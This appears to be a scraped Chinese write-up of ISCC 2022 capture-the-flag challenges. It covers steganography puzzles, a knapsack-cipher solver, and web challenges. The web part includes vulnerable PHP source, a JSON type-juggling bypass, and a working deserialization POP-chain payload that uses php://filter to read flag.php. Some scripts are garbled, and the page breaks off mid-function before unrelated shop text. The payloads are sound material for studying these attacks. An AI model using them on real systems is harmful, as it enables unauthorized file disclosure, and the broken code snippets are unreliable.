资讯详情

ISCC-WP

练武wp:

MISC

2022冬奥会

图片在kali在没有显示缩略图的情况下,其宽度和高度修改 在这里插入图片描述

修改图片长度后,以下是一些&#x编码,这是html实体编码unicode解码得到 冰敦敦的朋友经常被忽视。你知道他的原型是什么吗? 灯笼是雪容融的原型 得到一个jpg把文件拖到010editor里得到flag 通过这个话题,我学会了html实体编码,以及如何修改图片的长度和宽度。

苏一鸣,单板少将

图片010editor修改高宽,下面有二维码 ,扫描二维码 得到unicode编码的东西,

\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f 

然后解码,让我猜冬奥会有几枚奖牌,有几枚金牌、银牌和铜牌。 分别是 15 9 4 2 这些数字合并了压缩包密码。 打开就是flag。 学会修改图片的高低,学会收获这个话题Unicode编码。

隐秘的信息

给你的信息base64解密,解密 easy_to_find_the_flag 这是压缩包密码 里面有一张照片,LSB隐写,利用stegsolve查看 前九行,十六制转二进制

ASCII代码的二进制表达是从 0000 0000 开始,到 0111 1111 结束, 1位16进制数表示4位2进制数,例如16进制12进制表示001。转换应注意 111111010010010101001101000011010000110111101101010000011001100011010001000011011000100100110001110000011101100110101101100001010110000110010001101110001100100111001000110101011010010110100101001111011100110111110111111111000000000111111000000000000111111111111111111111000111111000111111111000000000111111111111000000000111000111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011110001000100100000111100001100001101001001110001100111111101 ASCLL代码使用指定的七位或八位二进制数组合来表示128或256种可能的组合。 所以,针对ASCII修改码的形式后,得到它 0100100101010011010000110100001101111011010100000110011000110100010000110110001001001100011100000111011001101011011000010101100001100100011011100011001001110010001101010110100101101001010011110111001101111101 转换后得到flag 这个话题收获了lsb隐写一些操作,然后ASCII代码的二进制表达是从 0000 0000 开始,到 0111 1111 结束, 一位十六进制数表示四位二进制数,十六进制的十二进制表示0001,ascll代码使用指定的七位或八位二进制数组合来表示128或256种可能的组合。

降维打击

图片通过010editor打开,发现图片头部是89 50 4E 然后发现最后也有一个 89 50 4E 47, 然后在010提取下面的16进制文本editor中打开,保存图片位置,发现有一张图片。 利用zsteg查看黑白图片的每个通道lsb

发现有一个png,输出出来

将得到的png图片可以通过对比魔女文字获得flag 图片的头部是89 50 4E 47.通过16进制保存图片,我学会了zsteg隐写,

藏在星空中的诗-1

将图片经过ps打开,将透明度拉到最高。 1、3、5、2、4的顺序 又看到txt有特殊符号和有序号 提示最好使用赛题WinRAR,所以猜测密码是五排符号,按照13524的顺序得到xlsx文件密码。发现是字母和字符的对照图片。 ![插入图片描述](https://img-blog.csdnimg.cn/abdafd3fa2444e26bd49d1a9e7fd536d.png

一一对应,就是flag。

学会了这个话题photoshop如何最大限度地提高透明度?我也知道WinRAR的强大。

只有一个真相

解压得到文本txt,一个png图片,无后缀名文件 把stream拖到010editor里面,

前端和文件zip源文件数据区基本相同,前两个被修改;改为50 4B 03 04,内含stream.pcapng文件。 对图片进行zsteg分析 猜测文本可能与解压密码有关。然后猜测可能需要掩码爆破。 所以密码是1998111 然后打开是流量包,用wireshark打开,找到一个password.mp3文件。通过ftp查找定位到8692 用Audacity打开,在末尾放大摩斯密码。

密码是通过解密获得的isccmisc 最后flag.txt是snow隐写,使用密码 得到flag ``` snow.exe -p isccmisc -C flag.txt 
这个话题学会了如何使用它wirshark分离mp3文件,以及如何爆破压缩包,摩斯密码可以隐藏在音频中。题目指令很好。  ## 藏在星空中的诗-2 在星空中的诗1中,有一个xlsx文件,每颗星星都有相应的16进制数字,是的xlxs每颗星星对应的最后一颗星U 最后一个数字 然后拼出poem十六进制数全部转化为ascll码表就是flag 

import json flag_enc=全密文.replace(“每组前三个相同的字符”,“”) flag_unicode_hex=[str(hex(ord(i))).upper() for i in flag_enc if i!=“\”] final_flag_unicode=“” for i in range(len(flag_unicode_hex)): # if i%20 and i0: # final_flag_unicode =“\u00” flag_unicode_hex[i][-1] if i%2==0: final_flag_unicode =“\u00” flag_unicode_hex[i][-1] else: final_flag_unicode =flag_unicode_hex[i][-1] print(json.lods(‘“%s”’ %final_flag_unicode))

这个题目学会了将星星转为十六进制数,将十六进制数再转化为ascll码表,题目还不错。

## 小光学AI
题目是让结合机器学习的方法分析像素点的比值。
所给的附件中给出了训练集(training_images),password和flag.zip。训练集中给出了上百张图片和xml文件,xml文件中记录了数据xmin,xmax,ymin,ymax。
计算像素脚本:

```python
import os
import sys

def get_sum(C:\Desktop\ISCC):
    sum = 0
    for root, dirs, files in os.walk(path):
        for file in files:
            if file.endswith('.jpg'):
                file_path = os.path.join(root, file)
                sum += get_pixel_sum(file_path)
    return sum
def get_pixel_sum(file_path):
    sum = 0
    with open(file_path, 'rb') as f:
        for line in f:
            sum += len(line)
    return sum

if __name__ == '__main__':
    path = 'mushroom/'
    sum = get_sum(path)
    print(sum)

通过手动计算,得到爆破字典

a = 34700
b = 46000
c = 56000
f = open("dict1.txt","w+")
for i in range(5000):
    for j in range(5000):
        for k in range(5000):
            f.write(str(a+i) + ":" + str(b+j) + ":" + str(c+k)+'\n')

爆破字典得到打开压缩包获得flag:37035:49380:61725

套中套

密码隐藏在那张图片里,补全png格式再修改高可以获的一部分, flag1: wELC0m3_ 然后拖到stegsolove, flag1: wELC0m3_T0_tH3 用winhex打开,最后有一段base64,解密 flag1和flag2合起来wELC0m3_T0_tH3_ISCC_Zo2z

#!/usr/bin/python

import random
import codecs
import gmpy2
import sys
import os

def getRandom(randomlength=4):
	digits="0123456789"
	ascii_letters="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
	str_list =[random.choice(digits +ascii_letters) for i in range(randomlength)]
	random_str =''.join(str_list)
	return random_str


def makeKey(n):
	privKey = [random.randint(1, 4**n)]
	s = privKey[0]
	for i in range(1, n):
		privKey.append(random.randint(s + 1, 4**(n + i)))
		s += privKey[i]
	q = random.randint(privKey[n-1] + 1, 2*privKey[n-1])
	r = random.randint(1, q)
	while gmpy2.gcd(r, q) != 1:
		r = random.randint(1, q)
	pubKey = [ r*w % q for w in privKey ]
	return privKey, q, r, pubKey

def encrypt(msg, pubKey):
	msg_bit = msg
	n = len(pubKey)
	cipher = 0
	i = 0
	for bit in msg_bit:
		cipher += int(bit)*pubKey[i]
		i += 1
	return bin(cipher)[2:]



flaggg=open('ffalg.txt','w')

# secret = input('Plz input the FLAG to generate the question.')
for i in range(50):
	fe = open('enc.txt', 'w')
	fpub = open('pub.Key', 'w')
	fpriv = open('priv.Key', 'w')
	fq = open('q.txt', 'w')
	fr = open('r.txt', 'w')

	print(i)
	tt="ISCC{"
	for j in range(3):
		temp=getRandom()
		tt=tt+temp+'-'
	secret = tt[:-1]+'}'
	flaggg.write(secret)
	flaggg.write('\n')
	msg_bit = bin(int(codecs.encode(secret.encode(), 'hex'), 16))[2:]
	keyPair = makeKey(len(msg_bit))
	pub_str = '['+', '.join([str(i) for i in keyPair[3]]) + ']'
	fpub.write(pub_str)
	#print ('pub.Key: ' + pub_str)
	enc =  encrypt(msg_bit, keyPair[3])
	#print ('enc: ' + str(int(enc, 2)))
	fe.write(str(int(enc, 2)))
	priv_str = '['+', '.join([str(i) for i in keyPair[0]]) + ']'
	#print ('priv.Key: ' + priv_str)
	fpriv.write(priv_str)
	#print('q: ' + str(keyPair[1]))
	fq.write(str(keyPair[1]))
	#print('r: ' + str(keyPair[2]))
	fr.write(str(keyPair[2]))
	name="misc-example-"+str(i+1)+".zip"
	fe.close()
	fpub.close()
	fpriv.close()
	fq.close()
	fr.close()

	os.system("zip -r -P'wELC0m3_T0_tH3_ISCC_Zo2z' tzt2.zip enc.txt generator.py priv.Key pub.Key q.txt r.txt")
	os.system("zip -r ./output/{}.zip tzt.png tzt2.zip".format(name))


flaggg.close()

加密部分:

def encrypt(msg, pubKey):
	msg_bit = msg
	n = len(pubKey)
	cipher = 0
	i = 0
	for bit in msg_bit:
		cipher += int(bit)*pubKey[i]
		i += 1
	return bin(cipher)[2:]

这里就可以知道cipher就是选择若干个pubKey相加,而选择哪一方相加是由明文决定 如果但从这里看,可以尝试暴力说不定可以,不过很明显不靠谱 然后看看密钥的生成

def makeKey(n):
	privKey = [random.randint(1, 4**n)]
	s = privKey[0]
	for i in range(1, n):
		privKey.append(random.randint(s + 1, 4**(n + i)))
		s += privKey[i]
	q = random.randint(privKey[n-1] + 1, 2*privKey[n-1])
	r = random.randint(1, q)
	while gmpy2.gcd(r, q) != 1:
		r = random.randint(1, q)
	pubKey = [ r*w % q for w in privKey ]
	return privKey, q, r, pubKey

得到的信息 公钥生成方式是r*w %q 私钥是递增的并且大于之前私钥数之和 q大于最后一个私钥 首先可以先乘上逆元r,将cipher转换为在q上的私钥运算 q大于所有私钥之和,私钥是递增的,大于之前私钥之和。所以很明显 ,对于任意的prikey_i,如果加入cipher,它的地位是唯一的,也就是加上它 cipher > prikey_i 不加上它 cipher < prikey_i(从最大的prikey开始判断) 可以写出最一般的情况解

for i in range(1):
    r = 
    enc = 
    q = 
    #enc = encrypt(msg_bit, keyPair[3],keyPair[0],q)
    key = 
    enc = (enc*gmpy2.invert(r,q))%q
    flag = ''
    for i in range(len(key)-1,-1,-1):
        if enc - key[i] > 0:
            enc -= key[i]
            flag =flag+'1'
        else:
            flag+='0'
    print(long_to_bytes(int(str(flag[::-1]),2)))

还有考虑一种特殊情况,就是之前的私钥值加上最后一个私钥值大于q的情况

此时需要先减去最后一个私钥值(mod q),之后同上

for i in range(1):
    r = 
    enc = 
    q = 
    #enc = encrypt(msg_bit, keyPair[3],keyPair[0],q)
    key = 
    enc = (enc*gmpy2.invert(r,q))%q
    flag = ''
    enc = (enc-key[-1])%q
    flag+='1'
    for i in range(len(key)-2,-1,-1):
        if enc - key[i] > 0:
            enc -= key[i]
            flag =flag+'1'
        else:
            flag+='0'
    print(long_to_bytes(int(str(flag[::-1]),2)))

这个题目确实是套中套,公钥生成方式是r*w %q,私钥是递增的并且大于之前私钥数之和,q大于最后一个私钥,首先可以先乘上逆元r,将cipher转换为在q上的私钥运算。题目挺有意思。增加了对密码学的见识。

WEB

冬奥会

源码:

<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){ 
        
    var_dump($info);
    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){ 
        
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){ 
        
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){ 
        
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}
if($Step1 && $Step2){ 
        
    include "2022flag.php";echo $flag;
}
?> 
//array(0) { } 

代码审计,是get传参information 要求’year’为2022 'item’为三个☞的数组 并且第[1]和的值是数组 因为是JSON_decode所以格式是{“key1”:obj ",“key2”:“obj2”…} ?Information={“year”:“2022a”,“items”:[“gh”,[“asaf”,“qweas”],0]}

这个题目收获了json数据的格式,以及三个等于号和两个等于号的区别。

Pop2022

Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){ 
        
    @unserialize($_GET['wish']);
}
else{ 
        
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{ 
        
    public $page;
    public $string;
    public function __construct($file='index.php'){ 
        
        $this->page = $file;
    }
    public function __toString(){ 
        
        return $this->string->page;
    }
    public function __wakeup(){ 
        
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { 
        
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}
class Try_Work_Hard{ 
        
    protected  $var;
    public function append($value){ 
        
        include($value);
    }
    public function __invoke(){ 
        
        $this->append($this->var);
    }
}
class Make_a_Change{ 
        
    public $effort;
    public function __construct(){ 
        
        $this->effort = array();
    }
    public function __get($key){ 
        
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/ 

题目的流程: Road_is_Long.wakeup.page $page->new Road_is_Long $string->new Make_a_Change $effort->new Try_Work_Hard $var->php://filter/read=convert.base64-encode/resource=flag.php

payload

<?php
class Try_Work_Hard { 
        
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}

class Make_a_Change{ 
        
    public $effort;
}

class Road_is_Long{ 
        
    public $page;
    public $string;
    public function __construct(){ 
        
        $this->string = new Make_a_Change();
    }
}

$a = new Road_is_Long;
$a->page = new Road_is_Long();
$a->page->string->effort = new Try_Work_Hard();
echo urlencode(serialize($a));
?>
?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BN%3B%7D%7D

通过这个题目收获了php序列化和反序列化。还有php伪协议读取文件内容。

这是一道代码审计题

打开出现一个/index查看源代码,提示要传参url。 发现这个文件。 这是表情解密 http://www.atoolbox.net/Tool.php?Id=937,然后得到

def geneSign():
    if(control_key==1):
        return render_template("index.html")
    else:
        return "You have not access to this page!"
def check_ssrf(url
        标签: 5w15kr电阻

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台